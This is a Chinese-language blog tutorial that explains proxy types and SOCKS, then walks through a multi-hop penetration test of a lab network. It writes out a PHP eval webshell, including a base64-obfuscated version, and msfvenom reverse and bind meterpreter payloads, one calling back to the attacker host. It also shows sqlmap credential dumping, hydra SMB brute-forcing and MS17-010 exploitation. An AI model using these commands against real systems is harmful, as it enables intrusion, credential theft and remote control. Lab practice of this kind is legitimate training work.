02.Socks代理实战01
本文最后更新于486 天前,其中的信息可能已经过时,如有错误请发送邮件到big_fw@foxmail.com

一、Socks代理简介

1.代理简介

代理服务器作为一个中间人,负责转发客户端请求消息以及服务端响应消息。

1)正向代理

正向代理(Forward Proxy):是一个位于客户端和原始服务器(origin server)之间的服务器,为了从原始服务器取得内容,客户端向代理发送一个请求并指定目标(原始服务器),然后代理向原始服务器转交请求并将获得的内容返回给客户端。客户端必须设置正向代理服务器,当然前提是要知道正向代理服务器的 IP 地址,还有代理程序的端口。

作用;

  • 隐藏访问者的行踪
    Pasted image 20250216100748.png
  • 访问无法访问的服务器B
    Pasted image 20250216101348.png

比如我们国内访问谷歌,直接访问访问不到,我们可以通过一个正向代理服务器,请求发到能够访问谷歌的代理服务器,这样由代理去谷歌取到返回数据,再返回给我们,这样我们就能访问谷歌了。

2)反向代理

反向代理(Reverse Proxy):正好与正向代理相反,对于客户端而言代理服务器就像是原始服务器, 并且客户端不需要进行任何特别的设置。客户端向反向代理发送普通请求,接着反向代理将判断向何处(原始服务器)转交请求,并将获得的内容返回给客户端。

实际运行方式是指以代理服务器来接受internet上的连接请求,然后将请求转发给内部网络上的服务 器,并将从服务器上得到的结果返回给internet上请求连接的客户端,此时代理服务器对外就表现为一 个服务器。

作用:

  • 保护和隐藏原始资源服务器
    Pasted image 20250216105643.png

正向代理代理客户端,反向代理代理服务器。

3)透明代理

透明代理的意思是客户端根本不需要知道有代理服务器的存在,它改变你的请求报文,并会传送真实 IP。

透明代理实例,很多公司使用的行为管理软件

Pasted image 20250216110732.png

客户端 A 和客户端 B 并不知道行为管理设备充当透明代理行为,当用户 A 或用户 B 向服务器 A 或服 务器 B 提交请求的时候,透明代理设备根据自身策略拦截并修改用户 A 或 B 的报文,并作为实际的请求方,向服务器 A 或 B 发送请求,当接收信息回传,透明代理再根据自身的设置把允许的报文发回至 用户 A 或 B,如上图,如果透明代理设置不允许访问服务器 B,那么用户 A 或者用户 B 就不会得到服 务器 B 的数据。

2.Socks简介

SOCKS是一种网络传输协议,主要用于客户端与外网服务器之间通讯的中间传递。

根据OSI模型,SOCKS是会话层的协议,位于表示层与传输层之间。

使用TCP协议传输数据,因而不提供如传递 ICMP (比如ping)信息之类的网络层网关服务。

现今大多组织的网络架构,利用网络防火墙将组织内部的网络结构与外部网络如 Internet 有效地隔 离开来。这些防火墙系统通常以应用层网关的形式工作在网络之间,提供受控的 TELNET、FTP、SMTP 等的接入。

而SOCKS 则提供一个通用框架来使这些协议安全透明地穿过防火墙。

3.Socks代理简介

  1. 被代理端与代理服务器通过 SOCKS4/5 代理协议进行通讯;
  2. SOCKS4:是对HTTP代理协议的加强,它不仅代理HTTP协议,而是对所有向外的连接进行代理,没有协议限制;
  3. SOCKS4a:SOCKS4协议的简单扩展,允许客户端对无法解析域名的目的主机进行访问
  4. SOCKS5:SOCKS5比SOCKS4a多了身份验证、IPv6、UDP支持。创建与SOCKS5服务器的TCP连接后客户端需要先发送请求来确认协议版本及认证方式

4.使用Socks代理

  1. SOCKS服务器的IP地址
  2. SOCKS服务所在端口
  3. SOCKS服务是否需要身份验证

5.Socks代理与VPN区别

VPN主要用于从外网访问企业、公司的内部网络,原理是先登录到VPN防火墙、服务器,得到权限, 再进入内网。这个过程,用户一直是以自己的身份进行的。
而Socks5是一种代理,也就是所有的交互数据都先经过另一台主机(网卡),这个过程中用户访问其他网络是都是使用的代理服务提供者的身份。

Pasted image 20250216113414.png

二、Socks代理实战一(MSF)

1.渗透场景

Pasted image 20250216144720.png

2.测试Target1

注意:
在本地搭建的主机,使用的是vm2的网卡,需要==禁用==才能避免kali直接ping到192.168.22.0/24网段,从而搭建一个渗透环境。

1)信息收集

  • 端口信息收集
nmap -A -T4 -p- --script vuln 10.34.126.178

开放端口:21/22/80/111/888/3306/8888 
操作系统:Linux

Pasted image 20250216221425.png

  • 目录扫描
feroxbuster -u http://10.34.126.178 -w dic.txt -C 400 401 402 403 404

Pasted image 20250216221029.png

发现是ThinkPHP

Pasted image 20250216221112.png

2)分析利用

  • 80端口
  1. Thinkphp v5.0 存在远程命令执行漏洞,通过命令执行写入一句话,可 GetShell
    Pasted image 20250216220147.png
  2. 执行命令,将webshell重定向到3.php
echo "<?php eval(\$_POST[pass]);?>" > 3.php

注意:在Linux中$表示变量,要用\进行转义

echo PD9waHAgZXZhbCgkX1BPU1RbcGFzc10pOz8+ | base64 -d > 4.php

Pasted image 20250216220328.png

  1. 使用蚁剑连接
    Pasted image 20250216222835.png

3)主机信息收集

使用ifconfig发现192.168.22.0/24网段存活

Pasted image 20250217090323.png

4)反弹Shell

反弹Target1的 Shell到MSF

(1)方法一

  • msfvenom生成payload
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=10.34.126.129 lport=5555 -f elf -o 5555.elf
  • 上传到Target1的/tmp目录下执行
    Pasted image 20250218111842.png
# 赋予执行权限
chmod +x 5555.elf

# 执行程序
./5555.elf
  • 获得Target1的meterpreter
    Pasted image 20250218191610.png

(2)方法二(建议)

  • 使用MSF的ThinkPHP模块
    Pasted image 20250218192738.png
  • 使用模块,获得meterpreter
    Pasted image 20250218192810.png

5)建立Socks代理

(1)获得Target1的meterpreter shell后,添加到192.168.22.0/24网段的路由

使攻击者可以访问目标主机的内网。

run autoroute -s 192.168.22.0/24
run autoroute -p

Pasted image 20250218210219.png

(2)使用MSF的socks5模块启动socks代理服务

可以使本地工具或软件通过代理经autoroute添加的路由访问内网

use auxiliary/server/socks_proxy
run

Pasted image 20250218210245.png

(3)配置 proxychains 代理工具

vim /etc/proxychains4.conf 
socks5 127.0.0.1 1080

Pasted image 20250218210025.png

(4)使用proxychains代理

可以让其他工具的流量强制通过指定代理转发

proxychains curl 192.168.22.22 

Pasted image 20250218212626.png

注意:在使用proxychains时,出现无法找到配置文件时可以将proxychains.conf 文件删除

Pasted image 20250218212140.png

(5)配置代理插件

Pasted image 20250218205828.png

(6)开启代理,成功访问192.168.22.22(内网)

Pasted image 20250218205803.png

3.测试Target2

1)信息收集

proxychains nmap -sT -Pn -p- -n -T4 192.168.22.22
开放端口:21/22/80/3306/8888 
操作系统:linux

Pasted image 20250218215156.png

注意:

  • 在真实的渗透环境下,使用nmap进行扫描会生成大量的流量使目标主机的payload断掉,并且会被发现
  • 在使用socks代理时,nmap应该添加-Pn (不以ping进行扫描,nmap默认使用ICMP协议扫描),因为socks不提供如传递 ICMP (比如ping)信息之类的网络层网关服务。

2)分析利用

  • 21/22/3306端口

弱口令爆破

  • 80端口
    bagecms,SQL注入
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword --dbs
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms --tables
proxychains sqlmap -u 'http://192.168.22.22/index.php?r=vul&keyword=1' -p keyword -D bagecms -T bage_admin --dump
得到后台登录账号密码为:admin/123qwe

后台登录地址:http://192.168.22.22/index.php?r=admini/public/login

Pasted image 20250219173750.png

3)Socks代理配置

蚁剑配置socks代理连接webshell(可以直接保存)

Pasted image 20250218230504.png

Pasted image 20250219173854.png

4)主机信息收集

发现存在192.168.33.0/24的内网网段。

Pasted image 20250219175528.png

fscan.exe -h 192.168.33.0/24

探测此网段存活主机:发现存活主机192.168.33.33

Pasted image 20250219175911.png

5)正向Shell

因为攻击机的网段(10.34.126.0/24)和Target2的网段(192.168.33.0/24)不同,所以Target2无法反弹shell给攻击机

反弹Target2的 shell到 MSF

(1)msfvenom生成linux木马payload

msfvenom -p  linux/x64/meterpreter/bind_tcp lport=5555 -f elf > mingy2.elf

(2)上传到Target2的/tmp目录并执行

chmod +x mingy2.elf
./mingy2.elf

Pasted image 20250219201808.png

(3)创建正向监听器,建立正向连接

use exploit/multi/handler
set payload linux/x64/meterpreter/bind_tcp
set rhost 192.168.22.22
set lport 5555
run

(4)获得meterpreter

Pasted image 20250219201838.png

注意:顺序不要搞混,因为生成的是分阶段payload,payload要先执行,在目标机器上实现监听,之后在msf发送后续payload给目标机器

6)添加路由

反弹回Target2的meterpreter shell之后,添加到33网段的路由:

run autoroute -s 192.168.33.0/24
run autoroute -p

4.测试Target3

1)信息收集

proxychains nmap -sT -Pn -p- -n -T4 192.168.33.33

Pasted image 20250219212006.png

2)分析利用

(1) 445端口

检测ms17-010漏洞

use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 192.168.33.33
exploit 

Pasted image 20250219212530.png

利用ms17-010漏洞

use exploit/windows/smb/ms17_010_psexec
set RHOSTS 192.168.33.33
set payload windows/x64/meterpreter/bind_tcp
set LPORT 4445
run
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 192.168.33.33
set payload windows/x64/meterpreter/bind_tcp
run

如果ms17模块利用不了可以使用SMB,使用hydra爆破SMB

export HYDRA_PROXY=socks5://127.0.0.1:10090
hydra -l administrator -P pass.txt smb://192.168.33.33

Pasted image 20250219232728.png

use exploit/windows/smb/ms17_010_psexec
set SMBPass root
set SMBUser administrator
run

Pasted image 20250219232848.png

Pasted image 20250219232916.png

(2)3389端口

远程桌面连接

  • Windows系统使用 proxifier,代理RDP远程桌面连接
  1. 使用 proxifier添加代理服务器
    Pasted image 20250220211550.png
  2. 添加代理服务器
    Pasted image 20250220211710.png
  3. 添加代理规则
    Pasted image 20250220212012.png
  4. 使用代理规则
    Pasted image 20250220212125.png
  5. 打开远程桌面连接程序
    Pasted image 20250220203826.png
  6. 添加目标主机IP
    Pasted image 20250220212247.png
  7. 进行连接
    Pasted image 20250220212311.png
  8. 成功连接
    Pasted image 20250220211146.png
  • Linux系统使用 proxychains代理 rdesktop 远程连接Windows桌面
proxychains -q rdesktop -u administrator -p root 192.168.33.33

Pasted image 20250220203554.png

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇